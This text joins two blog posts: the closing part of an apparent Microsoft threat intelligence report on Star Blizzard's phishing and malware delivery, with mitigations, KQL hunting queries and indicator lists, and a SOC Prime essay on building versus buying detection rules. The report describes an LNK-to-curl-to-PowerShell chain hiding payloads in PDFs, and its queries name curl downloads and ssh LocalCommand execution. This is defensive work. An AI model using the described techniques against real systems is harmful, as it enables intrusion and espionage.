The second installed task, named Network Configuration Manager, supports the WebDAV-based execution used by the other tasks. The invoked command causes Windows to treat the UNC-style path as a WebDAV resource and process it through the WebDAV redirector and associated WebClient functionality.

Through WebDAV, Windows applications can interact with a remote web resource as though it is a file or folder path while the underlying communication is performed using HTTP/HTTPS rather than conventional SMB. The task therefore prepares the WebDAV client functionality required by the other scheduled tasks.

Task 3 – CosmicPulse downloader execution

The third installed task, named System Health Monitor, uses control.exe to access a remote path hosted on the hardcoded C2 server and execute the next stage.

Hiding payloads in PDF files

In July 2026, Microsoft observed another change in Star Blizzard’s delivery techniques, this time involving a multistage execution chain.

The phishing email contains a password-protected RAR archive nested inside a ZIP file. After the archive is opened, it exposes an LNK file.

When executed, the LNK file uses conhost.exe and curl to download a PDF from an actor-controlled server:

After downloading the PDF, the command runs a second PowerShell payload. This payload searches the PDF for the magic header cAB, extracts the subsequent 208 bytes of Base64-encoded data, and executes the decoded command through PowerShell. The resulting conhost command, shown below, attempts to download and install another MSI file:

As in previous campaigns, the Python installer contains obfuscated PowerShell code. When executed, the code attempts to create two additional scheduled tasks. The first scheduled task again serves as a helper task, consistent with the supporting tasks observed in previous campaigns. The second scheduled task attempts to download and execute a CPL applet again.

Star Blizzard’s shift from ClickFix-based delivery chains to VHDX files, expanded use of scheduled tasks for persistence, and concealment of payloads within PDF files demonstrate the actor’s continued ability to adapt their delivery methods in response to evolving defenses. The actor’s recent use of PDFs to conceal payloads further illustrates efforts to bypass layered defenses through increasingly complex execution chains. Taken together, these changes demonstrate Star Blizzard’s continued efforts to streamline malware deployment, reduce required user interaction, and improve operational scalability while maintaining its longstanding espionage objectives.

Defending against Star Blizzard and RedFlick-related activity

Microsoft Threat Intelligence advises organizations that are most likely at risk—primarily those in government, NGOs, or think tanks adjacent to Ukraine policy or support—to implement the following recommendations to mitigate against Star Blizzard activity.

Protecting against Star Blizzard phishing

As previously reported, Star Blizzard’s success relies on sophisticated, targeted phishing lures that trick users into engaging with the actor by impersonating trusted contacts. While Star Blizzard has changed their overall TTPs, the actor continues to employ the same phishing patterns against users:

• Star Blizzard continues to impersonate trusted contacts that users or organizations would expect an email from. Star Blizzard also continues using email from free providers such as Proton @proton[.]me, particularly in Evilginx spear-phishing operations observed throughout 2026. However, despite the actor’s recent shift toward leveraging compromised legitimate websites that impersonate real individuals associated with a target’s organization, users can still remain vigilant for other Star Blizzard TTPs, several of which have been observed in previous campaigns:
  • Star Blizzard continues to make initial contact with a target by sending an email, usually without an attachment.
  • If a user engages, Star Blizzard will follow up with an email with an attachment. In this particular campaign, it has been an archive file such as a RAR or ZIP.
  • The email sender contains names of actual persons and organizations they belong to—however, the organization is not within the root or registered domain itself but in the username or local part of the email address. This should draw a red flag to the email’s authenticity. When in doubt, directly contact the person you think sent the email using a previously established and trusted contact method such as known email address or phone number.
  • The emails in these RedFlick campaigns are often sent in bulk.
• To best mitigate against this activity, Microsoft suggests the following policies to strengthen network environments against Star Blizzard phishing operations:
  • Using phishing resistant authentication methods.
  • Lockdown account access using Conditional Access policies.
  • Use advanced anti-phishing solutions like Microsoft Defender for Office 365 that monitor and scan incoming emails and visited websites.
  • Turn on Safe Links and Safe Attachments for Office 365.

Microsoft also recommends the following mitigations to reduce the impact of this threat

• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-compromise.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Configure investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on cloud-delivered protection and automatic sample submission in Microsoft Defender Antivirus to cover rapidly evolving attacker tools, techniques, and behaviors. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Use security defaults as a baseline set of policies to improve identity security posture. For more granular control, enable Conditional Access policies. Conditional Access policies evaluate sign-in requests using additional identity driven signals like user or group membership, IP location information, and device status, among others, and are enforced for suspicious sign-ins. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices or trusted IP address requirements.
• Implement continuous access evaluation.
• Turn on Microsoft Defender Antivirus real-time protection.
• Continuously monitor suspicious or anomalous activities. Investigate sign-in attempts with suspicious characteristics (for example, location, ISP, user agent, and use of anonymizer services).
• Turn on Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly-acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
• Configure Microsoft Defender for Office 365 to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow, and time-of-click verification of URLs and links in email messages, other Office 365 applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Use the Attack Simulator in Microsoft Defender for Office 365 to organize realistic, yet safe, simulated phishing and password attack campaigns in your organization by training end users against clicking URLs in unsolicited messages and disclosing their credentials. Training should include checking for poor spelling and grammar in phishing emails or the application’s consent screen as well as spoofed app names, logos, and domain URLs appearing to originate from legitimate applications or companies. Note that Attack Simulator testing only supports phishing emails containing links at this time.
• Microsoft Defender customers can turn on attack surface reduction rules to prevent common attack techniques:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block execution of potentially obfuscated scripts
• Utilize Windows Firewall, Windows Firewall with Advanced Security, or an enterprise firewall/filtering solution to help prevent or restrict outbound SSH connection attempts to external or public networks that are not essential for business.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Star Blizzard
• Tool profile: CosmicPulse
• Activity profile: New Star Blizzard spearphishing campaign targets WhatsApp accounts
• Threat overview: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Conhost.exe invokes curl

The following query will detect the use of conhost.exe to launch curl to download a decoy PDF from an actor-controlled server, which Star Blizzard used in July 2026. (Note that this query may detect activity not related to Star Blizzard or necessarily malicious. Please investigate findings to determine if the activity is legitimate.)

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName == "conhost.exe"
| where ProcessCommandLine has "curl"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName, DeviceId, ProcessId, ProcessUniqueId, InitiatingProcessUniqueId

Invoke SSH to launch local command line

The following query will detect the invocation of SSH to initiate a local command prompt, which Star Blizzard used in January 2026 to download and execute a remotely hosted MSI installer. (Note that this query may detect activity not related to Star Blizzard or necessarily malicious. Please investigate findings to determine if the activity is legitimate.)

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "ssh.exe"
| where ProcessCommandLine has "PermitLocalCommand=yes"
| where ProcessCommandLine has "LocalCommand=cmd.exe"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, ProcessId, InitiatingProcessId, ReportId

Persistence through scheduled tasks

The following query will detect Star Blizzard’s uniquely named scheduled tasks that attempt to masquerade as legitimately-named tasks, used for persistence by Star Blizzard in April 2026.

union isfuzzy=true
(
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or AdditionalFields has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType, ProcessCommandLine, AdditionalFields
, RegistryKey = tostring(dynamic(null)), RegistryValueName = tostring(dynamic(null))
, SourceTable = "DeviceProcessEvents"
, ProcessId, AccountName, AccountDomain, AccountSid
)
,
(
DeviceEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or AdditionalFields has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryKey has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueName has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType, ProcessCommandLine, AdditionalFields, RegistryKey, RegistryValueName
, SourceTable = "DeviceEvents"
, ProcessId = long(null), AccountName = "", AccountDomain = "", AccountSid = ""
)
,
(
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueName has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueData has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or InitiatingProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType
, ProcessCommandLine = InitiatingProcessCommandLine, AdditionalFields = ""
, RegistryKey, RegistryValueName
, SourceTable = "DeviceRegistryEvents"
, ProcessId = long(null), AccountName = "", AccountDomain = "", AccountSid = ""
)

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

let lookback = 30d;
let ioc_ip_addr = dynamic(["103.245.231.248", "2.57.241.246", "89.125.209.168", "103.245.231.79", "45.84.59.66", "103.160.59.97"]);
let ioc_domains = dynamic(["etia.ca", "groy.cc", "gliderrompercycl.com", "muvb.net", "divekickspolic.org", "matjk.click", "bpdaersa.click", "stuseamandesilt.org", "Itechx.tel", "guach.net", "ruten.observer", "byveo.org", "secure-dns-hub.com", "qumel.link", "cyrna.top", "drasw.club"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), EventCount=count()
    by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

let lookback = 30d;
let ioc_ip_addr = dynamic(["103.245.231.248", "2.57.241.246", "89.125.209.168", "103.245.231.79", "45.84.59.66", "103.160.59.97"]);
let ioc_domains = dynamic(["etia.ca", "groy.cc", "gliderrompercycl.com", "muvb.net", "divekickspolic.org", "matjk.click", "bpdaersa.click", "stuseamandesilt.org", "Itechx.tel", "guach.net", "ruten.observer", "byveo.org", "secure-dns-hub.com", "qumel.link", "cyrna.top", "drasw.club"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
    or DstDomain has_any (ioc_domains)
    or Url has_any (ioc_domains)
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), EventCount=count()
    by SrcIpAddr, DstIpAddr, DstDomain, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a
• https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix
• https://dslua.org/publications/spearphishing-via-fake-urc-2026-invitations-targets-ukrainian-csos/
• https://cloud.google.com/blog/topics/threat-intelligence/new-malware-russia-coldriver
• https://x.com/threatinsight/status/2037560142880006266

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Star Blizzard refines phishing and malware delivery with the RedFlick technique appeared first on Microsoft Security Blog.

Build versus buy is the decision about which threat detections a security team authors in-house and which it sources as ready-made detection content. The answer is almost never all build or all buy. Buy the commodity layer, build what is unique to your environment, and measure both sides by time-to-coverage: the elapsed time from a technique becoming public to a validated, firing detection running in your own stack.

Should my security team write our own detection rules or buy detection content?

Both. The split depends on four factors, not a preset ratio.

Time-to-coverage is the factor the whole decision turns on. It measures the window between a technique becoming public and a validated, firing detection running in your environment. Every day inside that window is exposure the team chose to carry.

What does a detection engineer cost, fully loaded, and what does the backlog cost?

The answer is your own numbers. Every organization’s cost structure is different, and no external benchmark substitutes for your loaded cost, ramp timeline, or attrition rate. What matters is calculating it completely.

A fully loaded detection engineer costs more than a salary line. The total includes salary, benefits, tooling, training, and the management overhead a specialized hire carries.

Add the ramp period. A new engineer does not produce validated detections against your specific telemetry and SIEM configuration on day one, and the backlog grows while they ramp.

Add attrition. Detection engineers are scarce and mobile. Each departure restarts the ramp clock and takes environment-specific knowledge with it.

The backlog itself has a cost. Every rule that sits unwritten or unvalidated is a detection gap the environment runs with until someone writes, tests, and deploys it. Quantifying that carrying cost is difficult, which is why most teams skip it and why the gap persists. The worksheet at the end of this page provides the structure to calculate it.

How do small security teams keep detection rules current against new threats?

The constraint is time, not skill. Keeping hundreds or thousands of rules current while new techniques arrive continuously is a different workload from authoring them. A small team cannot do it at the speed new techniques emerge while also tuning rules, handling incidents, and maintaining the SIEM.

Three realities compound the problem:

1. Technique volume exceeds authoring capacity. Threat-intelligence feeds publish new techniques continuously. A team of one or two detection engineers cannot keep pace while handling everything else the SOC demands
2. Platform count multiplies build cost. Two SIEM or EDR platforms means every rule needs two implementations. Three platforms, three. Build cost scales linearly with targets.
3. Validation is the bottleneck. A rule that parses is not a rule that fires. Proving it fires on real or emulated events, and that it produces audit-grade evidence, is where the time goes. Without validation capacity, bought or built content is equally unproven.

Portable detection content addresses the commodity layer directly. Rules authored in a vendor-agnostic format like Sigma and translated to each target platform give small teams continuously updated coverage without authoring and maintaining every rule from scratch.

The team’s own engineers then focus on detections that require knowledge of the environment: custom applications, internal telemetry sources, and business logic no external library can anticipate. Vendor-agnostic content narrows the window between technique publication and deployed detection for the commodity layer, freeing constrained engineering capacity for the work only that team can do.

SOC Prime’s Advanced Threat Detection library supplies curated behavior rules for emerging threats, centrally managed, deployable at scale, and stored as Detection as Code.

Contact Sales

What factors should I consider when calculating the cost of hiring detection engineers versus buying solutions?

Seven factors, each a cell in the cost model. Fill in each from your own data. Estimates carry risk: underestimating any single factor makes the whole model unreliable.

When the total cost of building exceeds the cost of buying the commodity layer plus the cost of building only what is unique, the decision has made itself. No universal salary figure or ratio applies. The answer depends on your numbers.

How can I justify the investment in detection content to the board or budget committee?

Frame it as what it is: converting a variable, hard-to-retain hiring problem into a predictable subscription line. The board funds coverage, speed, and risk reduction. Present detection content as the mechanism that delivers them.

Detection engineering talent is scarce, hiring cycles are long, and attrition resets the ramp. A subscription to vendor-agnostic detection content converts part of that variable cost into a fixed line item the board can plan against.

Three metrics a board recognizes:

1. Time-to-coverage. The window between a technique becoming public and a validated, firing detection deployed in your environment. Buying the commodity layer compresses this window. Show the board the current window and the target.
2. Validated coverage against MITRE ATT&CK. The share of relevant ATT&CK techniques for which you have a detection proven to fire. Measurable, auditable, and comparable across reporting periods. Boards approve what they can track.
3. Avoided incremental hires. The engineering capacity that would need to be added to reach the same coverage and the same time-to-coverage through in-house authoring alone. Frame it as headcount you did not need to add

The ask is a subscription delivering measurable coverage gains at a speed the existing team cannot match, without adding headcount. Bought content augments capacity without replacing expertise: engineers stop re-authoring commodity rules that hundreds of other teams are writing independently and focus on investigation, tuning, incident response, and the detections only they can build.

What is the cost of the gap between technique publication and deployed detection?

The gap is the window during which a technique is known, published, and potentially in use, but your environment has no detection for it. The cost of that window is exposure: an attacker using a known technique can operate while no detection for that behavior is in place.

The gap has a shape:

Every step is sequential, so the gap is their sum. A backlog of unwritten rules means the gap for the next technique does not start at zero. It starts behind whatever is still waiting.

The gap compounds in three ways.

Incident response gets harder when initial detection was late. The attacker has had time to move laterally and establish persistence.

Audit and regulatory evidence suffers. The dated coverage report shows a gap for a technique that was publicly known.

Operational confidence erodes when the backlog grows faster than the team can work it. That signals a structural problem, not a temporary shortage.

Buying commodity detection content compresses the authoring and translation steps. It does not eliminate validation. The team still owns the last mile: confirming content fires in their environment and produces the evidence their auditors expect.

Shrinking the gap comes down to more authoring capacity or a content source that covers commodity techniques faster than the team can write and validate them in-house.

Where this does not hold

The buy side assumes commodity detection content exists for your platforms and that your environment accepts external content. Bought content substitutes for built content only within that boundary. Where the conditions fail, building is the only option.

Conditions where buying does not apply:

• Proprietary telemetry. Detection logic tied to custom application logs, proprietary protocols, or internal-only data sources. No external vendor has visibility into what only your environment produces.
• Classified or restricted environments. Environments requiring review and approval of external content before ingestion. The review process can negate the speed advantage.
• Platform coverage gaps. Vendor content that does not translate to your SIEM, EDR, or XDR platform is inaccessible.
• Sourcing and provenance constraints. Some compliance frameworks or internal policies require detection content authored by named, vetted individuals, or full provenance control over detection logic from authorship through deployment. Bought content carries the vendor’s provenance chain, and some audit frameworks treat that distinction as material. Verify whether your evidence requirements accept externally sourced content.

One case falls outside the decision entirely. A team without a functioning SIEM or a defined detection-engineering function is not ready for build versus buy at all. The question assumes a functioning detection program, so teams still establishing basic telemetry collection should address that first.

Buy the commodity layer where it works. Build what is unique, restricted, or unsupported. Measure both sides by time-to-coverage.

Build-versus-buy worksheet

Use this worksheet to score your own environment. Fill in every cell from your own data. No cell should contain a guess. If you lack a number for a factor, that gap is itself a finding worth resolving before the decision.

Step 1: Inventory

Step 2: Cost to build (annual)

Step 3: Cost to buy (annual)

Step 4: Decision factors

Step 5: Decision

Answer these from the totals and scores above:

• Does annual build cost exceed buy cost plus the cost of building only what is unique?
• Does current time-to-coverage exceed the target?
• Can the current team sustain the required authoring and validation cadence?

Then read the scores:

• Most factors score 1 to 2: buying commodity detection content addresses the capacity gap.
• Most factors score 4 to 5: the team has the capacity and uniqueness to build.
• Mixed scores: buy the commodity layer, build what is unique, and measure both by time-to-coverage.

No preset ratio applies. The worksheet produces your answer.

SOC Prime’s Architect, an AI agent designed to build detections, tune them to your SIEM language, research threats, develop hunts and many other tools detection engineers need.

Related reading

• Prime Detect ROI: Validated Savings from Detection at the Pipeline Layer (September 2026)
• DetectFlow: Deploying Detections at Scale Without the Engineering Overhead (April 2026)
• Uncoder: Private Non-Agentic AI for Threat-Informed Detection Engineering (March 2025)

The post Build versus buy: the detection-engineering cost model appeared first on SOC Prime.